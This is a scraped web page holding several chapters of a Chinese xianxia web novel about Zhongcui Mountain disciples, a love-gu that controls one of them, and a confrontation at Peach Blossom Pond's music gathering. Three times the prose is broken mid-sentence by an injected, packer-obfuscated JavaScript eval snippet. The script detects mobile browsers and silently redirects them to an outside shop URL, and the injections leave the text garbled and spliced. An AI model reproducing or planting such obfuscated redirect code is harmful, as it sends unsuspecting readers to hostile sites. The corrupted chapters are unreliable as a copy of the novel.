萧翎琅缓步走到他身边,冷笑道:“这种货色,倒贴给我我都嫌恶心,你倒是好胃口。” 不等林不平再说什么,她头也不回地就出门了。 孟知匀对林不平点点头,赶紧追了出去,生怕这气头上的萧翎琅再做出什么过激的举动。 书室内只剩下一站一坐两个人。 余月靠在墙壁,抬起双手示意:“过来帮我解开。” 林不平依言照办,语气温和:“怎么,舍不得用灵气震碎她的东西?” “你懂什么?”余月从他手里抢过那条腰带,扶着墙站起身,目光悠悠地看向窗外,肉眼可见地心情愉悦,仿佛他刚刚遭遇的不是一顿殴打和辱骂,而是一场期盼多年的—— 久别重逢。 * 薛臻虞正等在楼下,见萧翎琅和孟知匀走下楼,还是没忍住多看了她一眼。 萧翎琅把头发随便拢了拢,身上没了腰带,泰然自若地走到柜台前,问道:“不小心砸坏了你们一间书室,多少钱,现在赔给你。” “刚刚那位姓林的客人已经付过了。”伙计赔笑道。 萧翎琅冷笑一声,直接把一锭20两银子拍在了桌子上,也不多解释,回头对二人道:“走吧,该回去吃午饭了。” 真是一个比一个财大气粗,合着就她是个为生计奔波的穷鬼。 孟知匀在心里暗暗叹气,与他们一起走回了雾雨阁,一跨进院门就看到薛繁在摆饭。 “回来的正是时候。”薛繁笑道,“今天可是师弟亲自下厨,快来尝尝。” 薛昱将最后一盘菜放到桌子上,抬头看见眼前三人神色各异,便对孟知匀挑了下眉,无声询问。 孟知匀简直是一言难尽,只是叹了口气,对他摇了摇头,准备等饭后再找他商讨。 虽然只是匆匆一面,但是余月和林不平给她的感觉颇为奇怪,行为举止之间处处透着点“不正常”,师兄对邪修和云梦州的了解都更深,或许能知道些什么。 薛停仍旧房门紧闭,平日里最爱说笑的萧翎琅今日格外沉默,吃得满嘴流油的薛臻虞对薛昱的厨艺简直赞不绝口,心里盘算着回山以后怎么去冬藏峰蹭饭。 一顿饭吃完,薛臻虞自觉洗碗去了,其余几人则各自回了房。 薛繁在整理东西时发现还有几个小东西忘了寄去钟粹山,便想出门再去一趟仙灵驿站,结果刚拐过巷口,便听到一道陌生的声音。 “你是钟粹山的人?” 32. 情蛊 薛繁眉头一皱,想转过身,却听到那人低声喝道:“别动。” 他动作一顿,沉声道:“阁下究竟是何人?行事如此鬼鬼祟祟,可不像是正派人士。” “我是谁不重要,”那人始终和他保持着两步远的距离,声音沙哑,像是许久没开口说话,“只是我平生有一夙愿未了,还望仙师成全。” 话音刚落,一柄锈迹斑斑的刀便从后面伸到了他面前,刀背上搁着一大一小两个锦盒。 “右边这盒子里是南华州十方雪山上的千年雪参,对滋养身体有奇效,是给仙师的报酬。”那人握着刀柄的手不由自主地颤了一下,“左边这个——” “劳烦仙师交由钟粹山玉露长老。” “玉露长老”四个字像静潭落石,陡然在薛繁心里掀起波澜。他强忍着回头看个分明的冲动,故作云淡风轻地拿起那两个盒子,问道:“敢问阁下可是玉露长老的旧识?” 那人嗓音沉默了片刻,说道:“当年之事非我本愿,但……终究是我对不起她。” 薛繁瞳孔一缩,脑中浮现出一个人的名字—— 齐王世子陆恒文。 “若是她问起,便说是遇到了一个回光返照的游魂。”那人嗓音粗哑地笑了声,随后收起锈刀,很快便隐没周身气息,不见了。 薛繁低头看向手上那两个锦盒,眼眸中一片晦暗,几经挣扎,还是转身去了仙灵驿站,将这些东西一同寄回了钟粹山。 这是师父往日的恩怨,他没有资格替她做决定,更没有名分去插手他们之间的事。 驿站门口四季常青的灵树上,梭梭地落下了几片枯叶。 * 薛停在屋内躲了一整天,期间师姐和师弟先后来敲过他的房门,想给他送饭,都被他一一回绝了。 门窗紧紧闭着,随着天色渐晚,屋内一点一点被黑暗笼罩。 他仰面躺在床上,盯着头顶上的房梁,企图将脑中那些挥之不去的屈辱画面通通驱尽,却再也回不到过去那种心明澄澈的状态,仿佛是跌入了一池烂泥里,浑身都染上了淤泥,无论怎么挣扎都爬不出去。 曾经恨不得如珠似宝捧着的晨曦剑也被他随手扔在床边,此刻正散发出一点幽幽的灵韵,妄图替他驱散这一室昏暗。 薛停抬起胳膊,用手背遮住眼睛,下意识回避这唯一的光亮,却又在下一刻猛地坐起身,捂住了心口。 他的心跳得很快,眼前似乎突然多了一根无形的线,指引着他往外走,等他恢复清明,便发现自己已经站在一个陌生且晦暗的巷子里,周遭没有人声喧哗,应该离热闹的主街很远。 而那个搅得他甚至不敢闭上眼睛的罪魁祸首,此时正靠着墙坐在地上,轻薄的衣衫下露出她身上青青紫紫的痕迹,像是遭受了毒打。 薛停攥紧了手指,垂眸看着她,眼里的阴霾在月光下有如实质,使这个向来明朗的少年看起来像极了一个充满恨意的恶鬼。 芙蓉将垂落的发丝别至耳后,露出耳垂上一对明月珰,柔声道:“你把我的床弄坏了,还没赔呢。” 薛停额上青筋暴起,终于忍不住俯身一把攥住她脆弱的脖颈,一字一句都像是从牙根挤出来的:“你怎么敢再出现在我面前?” 芙蓉脸色极差,虚弱得像一段一折就断的脆藕,看向他的眼睛依旧满是不知真假的柔情蜜意:“那你杀了我,我把性命赔给你,好不好?” 薛停拿了十几年剑的手第一次颤得这么厉害。 分明是她算计他。 分明是她……让他彻底不能向师姐表露心迹。 但是他不能下手。因为她并非伤天害理的妖魔鬼怪,她只是个没有灵脉的普通青楼女子。杀了她,或许可解一时心头之恨,他却再也无颜面对山门前那块刻着“三无愧”的巨石。 几息挣扎,他松了手劲,质问道:“你对我做了什么?” 能引他无声无息自行前来的手段,定然非寻常药物可行。 芙蓉捂着脖子大口呼吸,总算从窒息的边缘缓过了神,仰头看向他,语调平常:“没什么,不过给你种了情蛊。” 情蛊出自南华州,能够让种了子蛊之人对带有母蛊之人言听计从,产生类似“情意深重”的效果,原本是万听谷的禁术,但是多年前萧倾叛离,带走了许多蛊毒,这才使情蛊重出江湖。 “你是万花谷的人?”薛停眉目一敛,伸手就想去召自己的晨曦剑,却发现自己竟不能和本命剑共鸣了。 怪不得她敢把事实告诉他,母蛊在她身上,他自然难以违背她的心意去行事。 恐怕她刚刚任他掐自己脖子,也是算准了他不会直接动手,又或者,就算他动了杀心,她也有自保的底牌。 薛停眼中的阴霾越来越重,冷冰冰地盯着眼前的女人。 芙蓉没有回答,反而冲他伸出了双手:“抱我去前面那个院子里。” 薛停又陷入了那种混沌的状态,等他清醒过来,发现自己已经抱着万芙蓉走了一段路了。 怀中人伸手抚摸他的下巴,轻声问道:“你后悔吗?” 后悔吗?那天如果不是为了帮她,他又怎会那么轻易陷入圈套? 薛停偏头躲开她的手,面色冰冷地说道:“错的是你,不是我。” 那院子就在巷子最深处,薛停很快就抱着她到了院门口,并让她自行敲了三下院门。 现下已经是深更半夜,这院门却开得很快,一个女子披着外衫便匆匆来开了门,看见薛停的那一瞬眼中顿起杀意,待看到他怀里的万芙蓉,脸色才稍稍恢复正常,朝芙蓉扬了央下巴:“我扶她进去。” 薛停把人放下,随后头也不回地就走了,似乎是懒得多看她一眼。 芙蓉倚在门框上,看人彻底没影了,这才扶着身边的女子一点一点往院里挪。 她受伤的确很重,连行走都难,却饶有兴味地问:“月季,你说他会记得我吗?” 月季心头闷着一股气,冷笑道:“怕是恨不得将你千刀万剐呢。” “那很好。”芙蓉愉悦地笑了出来,“恨比爱都长久呢,我倒希望他能记我一辈子。” “毕竟……我是他第一个女人呢。” 月季小心地扶着她,嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这人名为林不平,是烟云郡一个琴修门派——移花门的掌门。”薛昱拿起宣纸仔细看了看,继续道,“移花门地处烟云郡外的亭柏山,弟子大多天资平庸,也不怎么下山,所以在云梦州大大小小的宗门里数不上名。” “据萧翎琅说,那余月可是万花谷的人,林不平跟万花谷牵扯在一起……”孟知匀支着下巴看他,眼皮却重逾千金。 薛昱挑眉看着她:“若是困了,便先回去休息,等你歇息好了我们再探讨,正好我出去再打探一下移花门。” 孟知匀忙摇摇头。 离开这扇门她才是不能休息呢!今天就算是困死,她也得死死抱住薛昱的大腿!起码在他身边,这个无良系统不会源源不断地给她派杂活! 不等她推脱师兄的好意,屋内便响起了敲门声。 二人循声望去,只见苏秋白身着一袭藕荷深衣,屈指敲了敲大开的房门,对二人笑道:“没打扰你们吧?” “我今日是来跟你们说一声,几日后的雅音会不在桃花潭召开了,改去小翠山了。” 33. 并肩 孟知匀猛地睁大了眼睛,不可思议地问道:“离雅音会召开不过三天了,现在换地点,来得及准备吗?” 临时换场地,这是什么牛马噩梦,好在她没跳槽来桃花潭。 苏秋白悠悠于桌前坐下,给自己倒了杯茶水:“来不及也得换,湖内压阵的千年灵荷不知被谁摘走了,导致阵法出现异动,每隔一个时辰便会湖水震荡,外人出入会被法阵余震波及,眼下是不得不换。” “小翠山似乎归玉笛楼管?”薛昱年少时在桃花潭住过一段时间,对其宗门内的庶务有所了解。 苏秋白点头:“所以此事全由霜竹长老操劳了。” 他低头抿了口茶水,眼睛里透出点意味深长的笑。 孟知匀打了个哈欠,懒得去想这苏家少主到底在打什么机锋,只偏头看了自家师兄一眼。 薛昱便道:“有话直说。” 苏秋白笑意盈盈地看着二人,殷勤地给他们倒了水:“其实也没什么,只是需要二位帮一个小忙。” 一晃眼,半炷香的时间便过去了,孟知匀勉力撑着眼皮,总算把苏秋白给熬走了,然后脖子不堪重负地一弯,把脑袋砸进了臂弯里。 随后,她又“垂死病中惊坐起”,眯着睁不开的眼睛看向门口,挣扎着要爬起来:“还得去给薛停送饭……” 这孩子把自己关屋里不肯出门,所以一日三餐都是她拿食盒给送到门口的,今天早上实在太困了,居然把这事儿给忘了。 薛昱刚把苏秋白撵走,回来就看到孟知匀这副困得要死不活的模样,无奈地叹了口气,拿自己的外衫给她披上,轻声道:“你睡吧,我去送。” 被他身上清冽的气息包围,孟知匀的困意更甚,含含糊糊地说了一句“劳烦师兄了”,眼皮就迫不及待地砸了下来。 厨房里有薛繁买回来的早点。薛昱拿灵气将饭食热了热,然后便装了一食盒,准备给薛停送过去,走过院子,发现萧翎琅手里拎着一把厚重的刀,正坐在墙角劈柴。 她鲜少有这样沉默寡言的时候,仿佛眼前的木柴是什么仇人,恨不得一刀下去就将其劈个粉碎。 薛昱淡淡收回目光,径直走去薛停房门口,伸手敲了敲房门。 薛停已经很多天没有睡觉了,眼下正坐在书案前,想提笔把万芙蓉的身份写下来,告知师兄师姐,却在悬笔的那一刻再度陷入了混沌,直到被敲门声惊醒,他才发现手中的那支笔已经断了。 宣纸上只落下了两个墨团。 他感知了一下门外的气息,今日来的不是师姐,是薛昱师兄。 他心里一片混乱,身上还有那种恶心的蛊虫,所以一直躲在屋内,不敢再见师姐,每次只敢在门板内偷偷感知她的气息,听她的嘱咐。 今日师姐为什么没有来? 薛昱静静在门口等了一会儿,见屋内之人没有要开门的意思,便想转身离开,结果他刚走出一步,门便被“哗”的一声拉开了。 薛停多日不见阳光,下意识眯了下眼睛。 薛昱回身看他,眉头不禁皱了一下,一股寒气顺着他的脊柱蜿蜒直上,给雾凇染上了一层白霜。 他与薛停其实算不上熟悉,甚至多次碰面都是因为孟知匀,这次下山是他们第一次结伴同行。他细心、明朗,总是跟在孟知匀身边,时常让人感觉有几分碍眼。 这是他第一次看见薛停这个模样,面色苍白、眼底乌黑,仿佛在一夕之间被人打碎了脊骨,就算一块一块地拼凑了起来,却再也不是曾经那个人了。 又是望春楼。 “师兄。”薛停勉强扯了下唇角,问道,“师姐呢?” 薛昱把那股冲破心田的杀意收拢回来,答道:“她这两日过于操劳,便歇下了,你今日还想吃什么,我给你送。” 薛停点点头,忽然道:“师姐喜欢吃糕点,越甜的她越喜欢。” “嗯,”薛昱应了一声,“我知道。” “师姐总是有很多事情要忙,总是要照顾身边所有人,要把所有事情都处理妥善,她很厉害。”薛停单手扣住门框,脸上浮现出一点久违的、温柔的笑意,声音很轻,“但是她也很累。我想,是不是她有的时候也想停下来歇一歇,什么也不做,只是身边没有人替她分担这些重担,这才让她不得不被推着走。” 他看着眼前这个年少成名的师兄,回想起这一路的同行,发现他们之间的关系似乎永远停在了师姐去拔剑的那一晚。 他们并肩前行,而他总是站在后面,看着师姐越走越远。 他吐出了一口浊气,顺带着将那点不甘、不舍、不愿都赠给了早春的晨风。 “我知道。”薛昱看着他的眼睛,那张似乎永远淡然、永远懒得露出什么情绪的脸,终于有了几分松动。 薛停知道他不会说什么好听的承诺,师兄和师姐本质上是一种人,永远说得少做得多,像百剑峰顶上的那棵千年雪松,常年披着一层霜雪,待春风一吹,便能露出下面葱翠、鲜明的绿。 “我……”他张了张嘴,发现那种要吞噬他意识的混沌感卷土重来,让他难以吐露出一个字。 薛昱看出了他的不正常,上前一步扣住了他的手腕。 他简直像是在交代遗言。 薛停闭了下眼睛,感觉一股强势且冷冽的灵气顺着自己的灵脉游走,将蠢蠢欲动的蛊虫压制了下去,让他恢复了清明。 “去找萧翎琅。”薛昱松开了他。 他虽然不通医理,却能明显感知到薛停体内有一道非同寻常的灵韵,像是有人刻意往他体内埋下了毒种。 “哟,这时候想起我来了?”萧翎琅抄着手晃悠过来,又恢复了往日那种不着调的模样,上下打量了薛停一眼,“怎么,被你师姐伤得心碎了?” 薛停紧紧抿着唇,生怕自己一开口说话便再度陷入那种状态中。 “他身上被望春楼的万芙蓉动了手脚。”薛昱替他解释了一句。 萧翎琅收敛了几分笑意,上前扣住了他的脉搏,随后分出一道灵气探入他体内。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304369|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>半晌,她冷哼一声:“没救了。” * 桃花潭,千声阁。 听鼓楼渊默长老苏昙将茶盏搁下,朝一旁的苏平翻了个白眼,嗤笑道:“霜竹长老真是好谋算,此招一出,离雅音会不足三日,我和苏歆也只得被你牵着鼻子走,由你一手包揽此次雅音会。” 霜竹长老苏平今日穿了件青衫,腰间别着自己的本命灵气——横云笛,一举一动都如世家名士般矜贵,闻言只是一笑:“渊默长老真是说笑,难不成你以为潭中的千年灵荷是我拔去的吗?这几日,我可都和你们一起在千声阁操劳,哪有那个时间和心里对潭中法阵动手脚?” “这种事情哪用得着你亲自前去,你玉笛楼弟子数百,天资卓绝者不知凡几,且身上带着桃花潭的腰牌,随便遣一个去,难道还办不成这事吗?”苏昙看他这副八风不动的模样,心里火气更甚,发髻间插着的簪子都无风自摇,“哒哒哒”地响个不停。 苏平低头抿了口茶水,温声道:“还望渊默长老慎言。此次灵荷失窃一事尚在调查,眼下半点头绪都无,你不去从旁协助,反而一门心思怀疑到我头上,那这么说来,我还怀疑是渊默长老监守自盗,企图组织雅音会召开呐。” “血口喷人!”苏昙一拍桌子站起来,指着苏平的鼻子就骂,“好你个道貌岸然的伪君子!自己做下孽事还想往我头上泼脏水,不知玉笛楼怎么会选出你这样的楼主,简直是毁我桃花潭苏家百年清誉!” 苏平冷笑道:“怎么,看来渊默长老连掌门昔日的决定也不服气了?既然你这么不信我,那雅音会我也不管了,你们爱在哪办在哪办,我现在就把人从小翠山撤回来。” 见他起身要走,一直端坐在一旁的瑶琴长老苏歆忙出声制止,对二人劝道:“眼下雅音会召开在即,不管是少了哪位长老,都是铁定办不成的,既然掌门和少主都同意改去小翠山,那就只能由霜竹长老多多操劳了。” “自然。”苏平虽然跟苏昙不睦已久,但也不敢在宗门内四处树敌,对于苏歆他还是给几分面子的,于是轻飘飘地瞥了苏昙一眼,托口要去小翠山,这才缓缓踱步而去。 这人前脚刚离开,苏昙后脚就摔了茶盏,恨恨看着门口:“真是阴险小人,得势便猖狂,原本以他的天资,哪轮得到他来当这个楼主!也不知道掌门和老楼主是怎么想的!我倒要看看,今年这个雅音会会出多少乱子!” 苏歆摇了摇头,过去拉住她,拍了拍她的胳膊,轻声道:“你啊,就是脾气暴躁。既然这件事在掌门和少主那里都过了明路了,我们也是‘难得糊涂’,他要在哪办就在哪办好了,没必要上赶着去跟人怄气。” “我这还不是为了桃花潭着想?雅音会可关系着宗门的声誉和名望,岂能由着他胡搞?”苏昙胸膛起伏,眼看是还没顺下气,愤愤道,“掌门向来爱躲懒,不理庶务,至于少主——” 她尖刻一笑:“谁不知少主近日流连望春楼,指不定是苏平这个伪君子让自己的姘头给少主吹了枕边风!” 34. 雅音 两日后,烟云郡,小翠山。 “这也太不巧了,怎么前几日都是艳阳高照,偏偏今天下了雨?”薛臻虞的避雨诀没学到家,便顶着硕大一片荷叶,跟着师姐师兄进了露天的宴客厅。 薛繁仰头看了一眼,见宴客厅内没有雨丝,便道:“里面应该设了避雨法阵,好了,把头上的叶子拿下来吧。” 受孟知匀影响,他们五个人是卡着点到的,现下宴客厅内几乎已经围着绕堂而过的流水坐满了,一碟碟的瓜果、酒水稳稳浮在水流之上,看上去像是一个巨型的流水席,中间则设了雅台,是音修用来比试的。 虽然眼下只有薛停背着剑,但是钟粹山剑修的气质颇为独特,所以一进门就引来了无数人的注目,还有一些小宗门与世家子弟跃跃欲试地想要上前套近乎。 好在苏秋白亲自走过来迎了他们去堂上,对掌门苏慎添介绍道:“父亲,这几位是钟粹山的青年才俊。” 苏慎添身着一袭青衫,虽说先前一直称病不见客,眼下却没有丝毫病气,反而端的一派闲云野鹤的潇洒,闻言起身一笑:“诸位快上座。” “多年不见昱儿,真是愈发一表人才了。”他笑意盈盈地看向薛昱,随后忽然不着头尾地问了一句,“不知翠微长老近来可好?” 孟知匀刚落座便听到他特意问了自己师父,一时有些摸不准其用意,只能勾了勾尾指。 薛昱不动声色的回答:“诸位长老皆一切安好。” 苏慎添点点头,靠回椅背上,伸手捏起一个茶盏:“那就好。” 见其没有多加询问的意思,孟知匀这才收回了视线,心想这掌门看起来和她师父有旧,但是但从外在气质判断,苏慎添颇有点优柔寡断、懒散不问世事的意思,看起来不像是她师父会喜欢的类型。 “后面那几个,应该是云梦州的世家大族。”薛繁刚刚一路走来,着重观察了赴宴宾客,压低声音对几人道,“没想到桃花潭与人间联系竟如此紧密。” 钟粹山和万听谷向来喜欢清净,下山往往也是为了救济百姓、降妖除魔,平日里和凡人——尤其是世家贵族,几乎没什么来往,桃花潭倒是恰恰相反。 薛停的气色稍稍好了一点,眉头紧皱,也放低了声音:“雅音会是音修‘以音会友、凭音论道’之盛典,邀凡人前来,是否有些不妥?” 孟知匀听他们这么说,也觉出些不对味儿,眼睛在宴客厅内飞快扫了一眼,发现没有灵韵的世家子弟居然不少,都聚集在厅堂下首,在大大小小的宗门中颇为显眼。 而那个全权主办此次雅音会的玉笛楼霜竹长老苏平,正亲自带着弟子一路给各个宾客奉灵茶,绕着曲水走了一圈,脸上笑意不减,任谁也得赞一句广袖善舞、八面玲珑。 坐在苏慎添近旁的渊默长老也在看苏平,不屑地哼了一声,说道:“自从霜竹长老当了玉笛楼楼主,桃花潭在人间的威望可一日比一日高,深得世家大族追捧,单看这场面,不知道的还以为霜竹长老是我桃花潭掌门呢。” 她声音不大不小,主座及两侧的钟粹山和万听谷弟子都听得一清二楚。 苏慎添自顾自低头品茶,没什么表示,苏秋白却笑了,接过话茬:“霜竹长老能力出众,三天之内便能筹办好雅音会,有此等人才,实在是我桃花潭之福气。” 苏昙细眉一拧,还想讽刺几句,被一旁的苏歆拉住袖子使了个眼色,这才作罢。 萧翎琅就坐在孟知匀他们对面,支着下巴百无聊赖地看着从眼前流过的碟子,伸手捏了一颗葡萄。 待到这盘葡萄转到钟粹山这边,薛昱、孟知匀、薛繁、薛停四人一人捏了一颗,薛臻虞则直接把整个碟子端下来了,回头对师姐和师兄们嘿嘿一笑,把碟子推到了长桌中央。 由于他们几个都不懂医理,赴宴之前萧翎琅特意叮嘱,最好只在宴席上取用她拿过的,以免悄无声息遭人暗算。 结果这人不知是挑食还是故意的,挑挑拣拣的就吃了点葡萄和蜜瓜,把薛臻虞饿得两眼发绿。 待苏平奉过一圈茶水,雅音会才正式开场。掌门苏慎添和少主苏秋白,一吹笛一抚琴,先合奏了一曲《桃花贺》,以音声代言语,使得在座宾客如沐春风,仿佛灵台也被乐声涤荡了一番。 “诸位——”一曲终了,苏平缓步走上曲水流觞中间的雅台,朗声道,“雅音会向来是我桃花潭以音会友的盛典,今日规矩自然也一切如旧,由各个宗门两两比试,共分三回合,夺得音魁者,可自我桃花潭烟霞洞中挑选一件灵宝,望诸位乘兴而来、尽兴而归!” 烟霞洞是桃花潭发家的通灵宝地,和钟粹山百剑峰、万听谷百草园并称为三大福地,是天底下灵气最为纯净、浓郁的地方,其间滋养的灵宝更是人间罕见,所以实力上乘的几个宗门无不摩拳擦掌,准备在此番比试上大展拳脚。 至于其他无望音魁的宗门,由于雅音会的排名关系到本门派的威望,所以也都不敢懈怠,前来参会的都是宗门内最为出类拔萃的弟子,何况,若是在比试中碰巧合了哪位长老的眼缘,说不定便能被收为外门弟子,一朝麻雀变凤凰。 一群仆役端着木牌鱼贯入场,请各个宗门抽签。 孟知匀是个五音不全、对音律毫无鉴赏力的音痴,对这些音修的比试毫无兴趣,见薛停皱着眉头,低头沉思,便偏头问了句:“怎么了?是不是不舒服?” 薛停这两日一直在喝药压制体内蛊毒,但是到底是治标不治本,萧翎琅说若想真正拔除体内子蛊,只能杀死母蛊。 但是那万芙蓉再未在望春楼出现,碍于桃花潭内部纷争,他们也不能公然上门抓人审讯,好在那人近几日并未利用蛊毒作妖,所以他除了偶尔神思混乱,再没有被控制着前去替她行事。 “没事。”他凝神静心了几息,扭头对师姐笑了笑,“今日来之前喝过药了,还能压制。” 孟知匀看他这个样子,心里愈发难受,却也不能表现出来,便拍了拍他的手背:“若是有不适,一定要告诉我。” 薛停点头:“好。” 两人言谈之间靠得略近,被苏秋白看到,便冲薛昱遥举茶盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314698|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不明意味地笑了笑。 薛昱根本懒得抬眼看他,早早探出了数道灵气在小翠山内游走,垂眸掩去了眼中的异色。 第一场比试已经过了半,雅台之上两人对坐抚琴,琴音绕梁,颇有高山流水之意味,却在转瞬之间,其中一道音声陡然如裂帛之响,逼得对方节节败退,终于捂着胸口,一口血吐在了七弦琴上。 “铮——”断弦之声有如惊堂之木,强行压下了一众喧哗。 “快,来人扶他下去!”苏平猛地起身,目光不善地看向那个公然伤人的宗门弟子。 那人两鬓已染了霜,年轻时英俊的脸已经被皱纹侵蚀出了岁月的痕迹,此时却仍在那断了一根弦的琴上拨弹,叹息道:“欲买桂花同载酒,终不似,少年游——” 琴音婉转,这人的声音却粗哑,搭配在一起,颇有荒腔走板的诡异感。 薛繁握着茶盏的手指不禁收紧,终于想起了是在哪里听过这个声音了,便向苏秋白问道:“此人出自哪个宗门?” 苏秋白饶有兴味地看着雅台,回答道:“移花门。” 孟知匀一惊,扭头正巧和薛昱四目相对,尾指微动,薛昱对她摇了摇头。 此时不宜轻举妄动。 苏平见台上这人丝毫不给他面子,脸上有些挂不住,对近旁的随侍吩咐:“还不快把人请下去!” 几人忙走上台,却在距离那人两步远的地方站住不动了,双目已然有失神之症。 台上的陆恒文抬起头,看向最上首的桃花潭掌门,不疾不徐道:“在下有一曲,想请掌门定夺。” 苏慎添终于放下了手中把玩许久的茶盏,抬手制止了还想派人强行将他请下去的苏平,声音温润,却令在场众人听得一清二楚:“但奏无妨。” 陆恒文起身,坐到了对面那把洒了血的琴旁,以指尖轻点自己眉心,从中引出一道灵韵,将其点入琴内,随后便垂手而坐,那琴弦却自行震颤,弹奏了一曲《云梦寻音》。 这曲子不难,却最能看出一人的天资,是桃花潭多年来入门考核的曲目。 云梦州地处水乡,其间音律多有流水之柔意,宛转悠扬,而此时台上奏响之曲,虽然技艺稚嫩,却多了一分铮铮铁骨,令人无端想起巍峨高山、雪中松柏,其刚直之意味竟有剑修之姿。 “敢问掌门,此曲如何?” 苏慎添面露欣赏:“曲中有傲骨,实乃难得。” “若一七岁稚子,以此曲参与宗门考核,可否成为桃花潭弟子?” 苏慎添点头:“自然可以,若此曲真出自七岁稚子之手,可称一句资质出众,丝桐长老,你说呢?” 苏歆身为瑶琴楼楼主,自然最能明白此曲之难得,忙点头附和:“颇为难得,不知此人现下在何处?” 陆恒文却笑了,看向面色阴沉的苏平:“那就要问一问霜竹长老了。” “昔日你下山途径临渊郡织霞县,当地一豪族林氏请你上门为一七岁稚子评判天资,便是此曲,怎的你当初说的是‘资质平庸,不堪大用’?” 35. 对峙 四面八方的视线投来,苏平却岿然不动,拂了拂衣袖,面色平静地说道:“这不知是多少年前的陈年往事了,我早就不记得了。况且,据你所说,只是过府相看天资,又不是正式的宗门考核,或许当年苏某有旁的要事在身,急于脱身,这才随口一说。” “若是人人都要为自己随口说下的话负责,这天底下岂非遍地是冤狱?” 陆恒文站起身,在雅台上居高临下地盯着苏平:“好一个‘随口一说’!” 他微微转头,目光扫过宴席下首的云梦世家,声音粗粝却满堂可闻:“桃花潭在云梦州积威甚重,普通世家哪一个不以儿孙能入桃花潭为荣?当初那烟霞县林家更是其中爱慕虚荣之典范,花了上百两银子特意邀你入府为稚子考核,恨不能为你张灯结彩、遍告乡里,不可谓不重视,结果换来的就是你的‘随口一说’?你可知你的信口胡言造成了什么后果?” 苏平身旁的弟子冷嗤一声:“不过一场名不正言不顺的考核而已,能有什么后果?” “那七岁稚子为府中一婢女被林老爷醉酒后强占所生,母子俩在府中无依无靠,时常遭受虐待、欺压,其母更因为生产而落下病根,常年缠绵病榻,一脚踏进了鬼门关。多亏他三岁时显出灵脉,这才得了林老爷的青眼,带着他娘亲过上了几年好日子。” 陆恒文眸色冰冷地环视周围宾客,最后把视线落在了苏平身上,继续道:“结果因为你随随便便的一句话,母子俩自此沦为全府笑柄,被林老爷打发去了废旧院落,不仅吃不饱穿不暖,还饱受下人虐待、苛责,甚至在寒冬腊月天也要做活,生病了也无人为其延请大夫,导致他娘活活病死在了床榻上。霜竹长老轻描淡写一句话,竟有此等威力,你每逢深夜回想,是不是很得意?” 他这一席话说罢,在座宾客皆窃窃私语,面露不忍,坐在掌门近旁的渊默长老苏昙更是捏碎了一个茶盏,暗骂了一声:“畜生。” 苏平脸上终于有了松动,朝雅台走近了一步,叹息道:“苏某无心之举,竟造成此等后果,实属是一桩命债。那孩子眼下在何处?苏某便是倾家荡产、辞去这长老之位,也必要补偿于他!” 陆恒文仰头大笑,讥讽道:“人死了你想起来补偿了?” “苏某愿设下灵堂,悼念其亡魂三日,并自请思过三月,为昔日之草率赎罪!”苏平脸色戚戚,朝掌门遥遥一拱手,语露悲色,“当初下山还有要事在身,行程匆忙,这才犯下此等大错。当真是想不到,那林家百年书香门第,对自家妻妾、庶子竟如此歹毒!” 孟知匀暗暗冷笑了一下,这霜竹长老短短几句话,把自己当年之错归结于忙中失察,最后轻飘飘地把锅甩给林家,好一副如簧巧舌! 陆恒文拊掌连说了三个“好”,笑道:“霜竹长老真是能屈能伸、巧言令色,也对,他们母子俩不过是天生贱命,哪能和你桃花潭苏家人相提并论?” 不等苏平反驳,他话头一转,质问道:“那敢问霜竹长老,昔日你师兄苏年,当真是死于妖邪之手吗?” 苏平心下一惊,面上却不显:“自然。当年师父病重,我连发数道传音,皆无回响,只得带人循迹去找,最后在黑水崖边上发现了师兄的灵韵。不过,虽然在崖下没找到师兄尸体,但我已将附近妖邪通通剿灭,也算替他报了仇。” “好一个报仇!”陆恒文点点头,“老楼主出身云梦莫家,桃花潭也是自他开始才与世家大族交好。原本苏年不死,以他的资历和天资,无论如何也轮不到你做这个玉笛楼楼主,但是偏偏这么巧,他正好死在了你师父前头,最终楼主之位落到了你苏平头上。” 他悠悠看向宾客中的云梦莫家子弟,意有所指:“看来你不负你师父所托,也算全了你们这一番好谋划!” “阁下这般乱泼脏水,莫不是存了分裂我桃花潭之心?”苏平拉住近旁骂骂咧咧的弟子,沉声道,“谁不知我和师兄一同长大,亲厚如亲兄弟,你一个外人,无凭无据地就要定我杀兄之罪,当真是狼子野心!” “来人,把此危言耸听之人拿下!” “慢着!”陆恒文从怀中拿出一柄匕首,高高举起,“此匕首便是从苏年尸首后心拔出来的。” 他转身看向薛昱:“眼下宴席上有钟粹山霜雪剑一脉弟子,劳烦好好验一验这匕首,看其究竟是不是杀兄凶器!” “你……”苏平猛地瞪大了眼睛,显然被他打了个措手不及。 看戏半晌的掌门苏慎添此时发了话,对薛昱道:“昱儿,既然如此,那便辛苦你了。” 薛昱颔首,起身走上雅台,从陆恒文手上接过那柄匕首,伸出两指缓缓拂过刀身,一道霜白的灵韵从他指尖逐渐流出。 